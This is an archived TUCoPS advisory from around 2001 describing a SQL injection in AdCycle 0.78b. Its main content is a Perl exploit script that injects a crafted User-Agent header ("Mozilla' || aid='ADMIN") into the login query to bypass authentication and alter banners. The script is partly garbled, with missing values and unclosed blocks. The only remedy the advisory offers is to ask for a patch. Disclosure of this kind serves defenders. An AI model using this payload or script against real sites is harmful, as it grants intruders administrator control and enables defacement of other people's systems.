Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Web :: Apps :: adcycle2.htm

AdCycle Banner Management System installation insecurity



    Adcycle 0.78b


    Neil K. found  following.  During  the setup of  adcycle using the
    ominous build.cgi, it creates several tables by default these are:

        mysql> show tables;
        | Tables_in_adcycle |
        | ad
        | adconfig
        | banners
        | counter
        | cp                           <= stores banner info etc.
        | dailylog
        | iplog
        | login                       <= stores login info
        | pools
        | real_log
        10 rows in set (0.00 sec)

    When a user  logs into the  script and authentication  takes place
    successfully, their data is entered into the login table:

        $sth = $dbh->do("INSERT INTO login (remote,aid,pid,agent,stime,erase) VALUES ($log_list)");

    the resulting table looks like this:

        mysql> select * from login;
        | remote          | aid       | pid            | agent                                                  | stime
        | | ADMIN | 8983632| Mozilla/4.76 [en] (U; Linux 2.4 i686) | 2001-02-16 06:48:48|
        | | ADMIN |  816479 | Mozilla/4.76 [en] (U; Linux 2.4 i686) | 2001-02-16 06:48:47|
        2 rows in set (0.00 sec)

    Ok on with the problem, unfortunately there is no way to avoid the
    authentication of the  script, but i  might be able  to get around
    it.  Cutting the bull from  the *useful SQL queries in the  script
    you will find:
        sub db_login() {
                       $sth = $dbh->prepare("SELECT * FROM login WHERE remote='$remote' && agent='$agent' ORDER BY stime DESC");
                       while(@login = $sth->fetchrow_array){

    Well as you can see this  piece of code handles the fact  that the
    user  may  have  already  logged  in using a valid username/passwd
    combination.   And  therefore  should  not  have  to enter his/her
    username and  password again  to use  the script.   Cos well  that
    would be  a total  pain the  arse wouldn'  tit?.   This clause  is
    epecially  useful  to  us  since  we  don't  really  know  a valid
    user/pass combination.

    Anyway whats  interesting abt  the above  u might  ask??  Well the
    use of  $agent in  the SQL  query is  most interesting  since this
    data is user defined.  Not *very easily but it can be user defined
    given the right circumstances.  Concidering that we now  literally
    own that  SQL query  given a  little thought  we could  easily get
    around the authentication and do whatever we wanted.  How??   Well
    by changing the agent field of the http request to:

        $agent = Mozilla' || aid='ADMIN

    Thus changing the query to:

        SELECT * FROM login WHERE (remote='' && agent='Mozilla') || aid='ADMIN' ORDER BY stime DESC
                                                             ^                                                           ^                 ^
                                                                        brackets show 'logic bounds'                username wanted

    As you can see executing that query would return all records  with
    aid=ADMIN  very  useful  since  from  the original Perl code above
    would yeild $whoami=ADMIN.   Furthermore since the  authentication
    routine is  used in  every call  to the  script it  is possible to
    execute any  command that  a normal  ADMIN adcycle  user would  be
    able  to.    Which  is  well...   everything,  changing   banners,
    advertisers etc....

    Of course as you've probably guessed by now, this example assumes
    that the admin user is actually 'admin' as it is by default.  And
    also the presence of a record with aid='ADMIN' which unfortunately
    can only be present if the admin is either currently logged in or
    has been logged in and not logged out.  This is not that hard
    actually if you've used this script seriously you'd know this to
    be true.

    As an after thought, requesting:

    will result in the login  table having all contents with  aid=user
    deleted from  it, therefore  logging that  user out  of the script
    requiring them to log back in.  Could be useful maybe?

    To  better  demostrate  this  problem  Neil  included a small perl
    script  exploit  that  will  alter  banner images, some alteration
    maybe needed for it to werk but hey it worked for me?!?.

    #Adcycle v0.78b eXploit
    #This script exploits a situation that allows a remote user to 'skip'
    #authentication if the legitimate Admin is logged in or has not logged
    #out properly since their last session.
    #Shoutz to: tribunal, domz, all, mjm
    #	    code segments borrowed from teleh0r
    use strict;
    use Socket;
    if (@ARGV < 1) {
    (my $target) = @ARGV;
    my $clickurl="";
    my $dir="cgi-bin/adcycle";
    my $imageurl="";
    my $cid="MT01";
    my $bannerid=1;
    my $agent = "Mozilla'||aid='ADMIN";
    my $url = =
    my $url_length = length($url);
    my $request=
    "POST /$dir/adcenter.cgi HTTP/1.0
    Connection: close
    User-Agent: $agent
    Host: $target
    Content-type: application/x-www-form-urlencoded
    Content-length: $url_length
    my $iaddr = inet_aton($target);
    my $paddr = sockaddr_in(80, $iaddr);
    my $proto = getprotobyname('tcp');
    socket(SOCKET, PF_INET, SOCK_STREAM, 'tcp');
    connect(SOCKET, $paddr);
    send(SOCKET,"$request", 0);
    sub banner {
	    print "\nAdcycle eXploit for V0.77b/0.78b\n";
	    print "by Neilk (neilk\\\n";
	    print "\n\n";
    sub usage {
	    print "Usage:\tperl $0 <target ip>\n\n";


    Ask for patch.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2015 AOH